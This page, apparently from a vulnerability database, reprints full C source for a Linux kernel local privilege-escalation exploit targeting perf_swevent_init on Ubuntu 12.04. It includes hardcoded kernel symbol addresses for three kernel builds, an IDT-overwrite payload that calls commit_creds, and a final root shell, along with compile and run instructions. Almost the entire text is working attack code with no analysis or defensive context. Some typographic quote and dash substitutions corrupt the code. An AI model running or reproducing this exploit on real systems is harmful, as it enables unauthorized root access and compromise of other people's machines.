ZeroBox Vulnerability Database

/**
* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
* by Vitaly Nikolenko (vnik5287@gmail.com)
*
* based on semtex.c by sd
*
* Supported targets:
* [0] Ubuntu 12.04.0 – 3.2.0-23-generic
* [1] Ubuntu 12.04.1 – 3.2.0-29-generic
* [2] Ubuntu 12.04.2 – 3.5.0-23-generic
*
* $ gcc vnik.c -O2 -o vnik
*
* $ uname -r
* 3.2.0-23-generic
*
* $ ./vnik 0
*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE 0x1780000000
#define SIZE 0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

uint64_t targets[3][3] =
{{0xffffffff81ef67e0, // perf_swevent_enabled
0xffffffff81091630, // commit_creds
0xffffffff810918e0}, // prepare_kernel_cred
{0xffffffff81ef67a0,
0xffffffff81091220,
0xffffffff810914d0},
{0xffffffff81ef5940,
0xffffffff8107ee30,
0xffffffff8107f0c0}
};

void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)AB(1);
// restore the handler
*fixptr = -1;
commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
commit_creds(prepare_kernel_cred((uint64_t)NULL));
}

void trigger(uint32_t off) {
uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert( !close(fd) );
}

int main(int argc, char **argv) {
uint64_t off64, needle, kbase, *p;
uint8_t *code;
uint32_t int_n, j = 5, target = 1337;
int offset = 0;
void *map;

assert(argc == 2 && “target?”);
assert( (target = atoi(argv[1])) < 3 );

struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;

// mmap user-space block so we don’t page fault
// on sw_perf_event_destroy
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);

asm volatile(“sidt %0” : “=m” (idt));
kbase = idt.addr & 0xff000000;
printf(“IDT addr = 0x%lx\n”, idt.addr);

assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
memcpy(code-13,”\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf”, 13);

// can only play with interrupts 3, 4 and 0x80
for (int_n = 3; int_n <= 0x80; int_n++) {
for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64–) {
int off32 = off64;

if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
offset = off32;
goto out;
}
}
if (int_n == 4) {
// shit, let’s try 0x80 if the kernel is compiled with
// CONFIG_IA32_EMULATION
int_n = 0x80 – 1;
}
}
out:
assert(offset);
printf(“Using int = %d with offset = %d\n”, int_n, offset);

for (j = 0; j < 3; j++) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
}
trigger(offset);
switch (int_n) {
case 3:
asm volatile(“int $0x03”);
break;
case 4:
asm volatile(“int $0x04”);
break;
case 0x80:
asm volatile(“int $0x80”);
}

assert(!setuid(0));
return execl(“/bin/bash”, “-sh”, NULL);
}